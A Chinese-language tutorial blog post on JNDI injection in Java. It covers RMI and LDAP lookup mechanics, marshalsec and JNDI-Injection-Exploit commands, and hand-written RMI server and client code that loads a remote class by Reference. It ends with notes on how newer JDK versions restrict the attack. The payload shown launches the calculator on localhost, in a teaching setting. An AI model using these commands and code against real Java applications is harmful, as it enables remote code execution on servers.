Web開發-JavaEE應用JNDI注入RMI服務LDAP服務DNS服務高版本限制繞過

知識點:
1、安全開發-JavaEE-JNDI注入-LADP&RMI&DNS等
2、安全開發-JavaEE-JNDI注入-項目工具&手工原理等

在這里插入圖片描述
在這里插入圖片描述

演示案例-WEB開發-JavaEE-JNDI注入&LDAP&RMI服務&DNS服務&高版本限制繞過

JNDI全稱為 Java Naming and DirectoryInterfaceJava命名和目錄接口),是一組應用程序接口,為開發人員查找和訪問各種資源提供了統一的通用接口,可以用來定義用戶、網絡、機器、對象和服務等各種資源。JNDI支持的服務主要有:DNS、LDAP、CORBA、RMI等。

RMI:遠程方法調用注冊表
LDAP:輕量級目錄訪問協議

調用檢索:
Java為了將Object對象存儲在NamingDirectory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在NamingDirectory服務下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

RMI服務中調用了InitialContext.lookup()的類有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

LDAP服務中調用了InitialContext.lookup()的類有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

JNDI注入-工具-marshalsec

項目地址:https://github.com/mbechler/marshalsec

這個項目就是自己寫一個危險代碼類,然后編譯成class文件放到網站目錄下,用該項目生成一個調用地址,相當于中轉作用。

1、編譯調用對象(生成class文件)

javac Test.java

在這里插入圖片描述

2、將生成的Class存放到網站訪問路徑,使用利用工具生成調用協議(rmi,ldap)

在這里插入圖片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc

在這里插入圖片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc

在這里插入圖片描述

3、觸發JNDI注入

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

JNDI注入-工具-JNDI-Injection-Exploit

項目地址:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

在這里插入圖片描述
在這里插入圖片描述

JNDI注入-手工

bind:將名稱綁定到對象中;
lookup:通過名字檢索執行的對象;
Reference類表示對存在于命名/目錄系統以外的對象的引用。
Reference參數:
className:遠程加載時所使用的類名;
classFactory:加載的class中需要實例化類的名稱;
classFactoryLocation:遠程加載類的地址,提供classes數據的地址可以是file/ftp/http等協議;

1、Server注冊監聽

Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:8089/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE", wrapper);

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

2、Clinet連接觸發

String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

在這里插入圖片描述
在這里插入圖片描述

JDK高版本注入繞過

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

JDK 6u45、7u21之后

java.rmi.server.useCodebaseOnly的默認值被設置為true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前JVMjava.rmi.server.codebase指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加RMI ClassLoader安全性。

JDK 6u141、7u131、8u121之后

增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMICORBA協議使用遠程codebase的選項,因此RMICORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URILDAP協議來進行JNDI注入攻擊。

JDK 6u211、7u201、8u191之后

增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了。

高版本繞過

后續Java安全篇章課程將講到

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/902413.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/902413.shtml
英文地址,請注明出處:http://en.pswp.cn/news/902413.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于Transformer與隨機森林的多變量時間序列預測

哈嘍,我不是小upper,今天和大家聊聊基于Transformer與隨機森林的多變量時間序列預測。 不懂Transformer的小伙伴可以看我上篇文章:一文帶你徹底搞懂!Transformer !!https://blog.csdn.net/qq_70350287/article/detail…

初識網絡原理

文章目錄 1.IP地址2.端口號3.網絡中的五元組4.協議分層5.封裝和分用6.客戶端與服務器 1.IP地址 IP地址 (IP Address): 用于在網絡中唯一標識一臺設備(主機、路由器等)。IP地址分為IPv4和IPv6兩種版本。IPv4是32位地址,通常表示為四個用點分隔…

健康養生之道

健康養生是一種積極的生活態度,是對自己和家人的關愛。從生活的細微之處做起,便能為健康打下堅實的基礎。 在生活習慣方面,要注重細節。保持居住環境的整潔與通風,讓生活空間舒適宜人。勤洗手、勤換洗衣物,養成良好的衛…

幾種電氣絕緣類型

1. 基本絕緣 1.1 絕緣等級 1.2 I類設備 2. 附加絕緣 3. 雙重絕緣 4. 加強絕緣 5. 功能性絕緣 1. 基本絕緣 用于防止觸及帶電部件的初級保護,該防護是由絕緣材料完成的 基本絕緣的目的在于為防電擊提供一個基本的保護,以避免觸電的危險,不過此類絕緣只能保證正常狀態下…

01.瀏覽器自動化webdriver源碼分析之啟動函數

日后,網絡爬蟲也好,數據采集也好,自動化必然是主流。因此,筆者未雨綢繆,在此研究各類自動化源碼,希望能夠趕上時代,做出一套實用的自動化框架。 這里先研究傳統的webdriver中轉來進行瀏覽器自動…

PLOG安裝

Plog可以通過以下命令安裝 cd ~ && git clone https://github.com/SergiusTheBest/plog.gitcd plog && mkdir buildcd build && cmake ..make && sudo make installcd ~ && sudo rm -rf ./plog若無法科學上網,可使用git cl…

Cyber SpaceGuidance網安學習指南見解

免責聲明 如有異議請在評論區友好交流,或者私信 內容純屬個人見解,僅供學習參考 如若從事非法行業請勿食用 如有雷同純屬巧合 版權問題請直接聯系本人進行刪改 前言 提示:這里可以添加本文要記錄的大概內容: 提示:以…

第十五屆藍橋杯 2024 C/C++組 下一次相遇

目錄 題目: 題目描述: 題目鏈接: 思路: 自己的思路詳解: 更好的思路詳解: 代碼: 自己的思路代碼詳解: 更好的思路代碼詳解: 題目: 題目描述&#xf…

Vue3中provide和inject數據修改規則

在 Vue3 中,通過 inject 接收到的數據是否可以直接修改,取決于 provide 提供的值的類型和響應式處理方式: 1. 若提供的是普通值(非響應式數據) javascript 復制 // 父組件 provide(staticValue, 123); 子組件修改行…

今日CSS筆記

原手寫筆記 ------------------------------------------------------------------------------------------------------- css選擇器的種類有很多種。這里只介紹幾種常用的選擇器。 1. 標簽選擇器標簽選擇器是最基本的選擇器,它可以選擇所有的標簽。例如&#xff…

健康生活新指南

在 “朋克養生” 與 “躺平焦慮” 并存的時代,真正的健康生活無需刻意 “內卷”。這幾個簡單又實用的養生妙招,能讓你在忙碌日常中悄悄升級健康狀態,輕松擁抱活力人生。? 一、飲食:吃對食物,給身體 “加 Buff”? 別…

輕量級景好鼠標錄制器

景好鼠標錄制器(詳情請戳 官網)是一款免費無廣的鍵鼠動作錄制/循環回放工具,輕松自動化應對一些重復繁瑣的操作任務,如來回切換窗口、文檔同一相對位置的復制粘貼等場景,兼容Win XP - 11 。畢竟此款本身主打簡約類型&a…

結構體與共用體-------C語言經典題目(3)

結構體 1.如何定義和使用結構體指針? 1.結構體指針的定義 首先需要定義結構體類型,例如表示學生信息的結構體: struct Student {char name[50];int age;float score; };接著,使用struct 關鍵字和指針符號* 聲明結構體指針&#x…

未來教育風向標 | 教育學頂流985高校,華東師范大學《AIGC技術賦能教育數字化轉型的機遇與挑戰》,13所大學deepseek

今天大師兄給大家推薦的是華東師范大學祝智庭教授的《AIGC技術賦能教育數字化轉型的機遇與挑戰》。華東師范大學是一所985學校,在最新的國家學科測評中,軟件工程為A級,教育學為A級。 可以說在AI和教育的結合上是國內top級別的存在。 此講義探…

Java常用正則表達式及使用方法

在 Java 中,Pattern 和 Matcher 類是 java.util.regex 包的核心,用于處理正則表達式。 Pattern 類 Pattern 類表示編譯后的正則表達式,它提供了一種將正則表達式字符串編譯成可執行對象的方式,以便后續用于匹配操作。 常用方法…

車載軟件架構 --- 駕駛員不感知的控制器軟件運行

我是穿拖鞋的漢子,魔都中堅持長期主義的汽車電子工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 周末洗了一個澡,換了一身衣服,出了門卻不知道去哪兒,不知道去找誰,漫無目的走著,大概這就是成年人最深的孤獨吧! 舊人不知我近況,新人不知我過…

深度學習3.5 圖像分類數據集

%matplotlib inline import torch import torchvision from torch.utils import data from torchvision import transforms from d2l import torch as d2l代碼執行流程圖 #mermaid-svg-WWhBmQvijswiICpI {font-family:"trebuchet ms",verdana,arial,sans-serif;font-…

Kotlin集合全解析:List和Map高頻操作手冊

Kotlin 中 Map 和 List 常用功能總結 List 常用功能 創建 List val immutableList listOf(1, 2, 3) // 不可變列表 val mutableList mutableListOf("a", "b", "c") // 可變列表 val emptyList emptyList<String>() // 空列表基本…

Yocto項目實戰教程-第7章定制鏡像菜譜與內核菜譜-7.2小節-定制應用程序

&#x1f50d; B站相應的視頻教程&#xff1a; &#x1f4cc; Yocto項目實戰教程-第7章-定制鏡像菜譜與內核菜譜 記得三連&#xff0c;標為原始粉絲,感謝大神支持。 在嵌入式Linux系統開發中&#xff0c;定制專屬應用程序往往是最貼近產品交付的那一環。而Yocto項目&#xff0c…

【圖像輪廓特征查找】圖像處理(OpenCV) -part8

17 圖像輪廓特征查找 圖像輪廓特征查找其實就是他的外接輪廓。 應用&#xff1a; 圖像分割 形狀分析 物體檢測與識別 根據輪廓點進行&#xff0c;所以要先找到輪廓。 先灰度化、二值化。目標物體白色&#xff0c;非目標物體黑色&#xff0c;選擇合適的兒值化方式。 有了輪…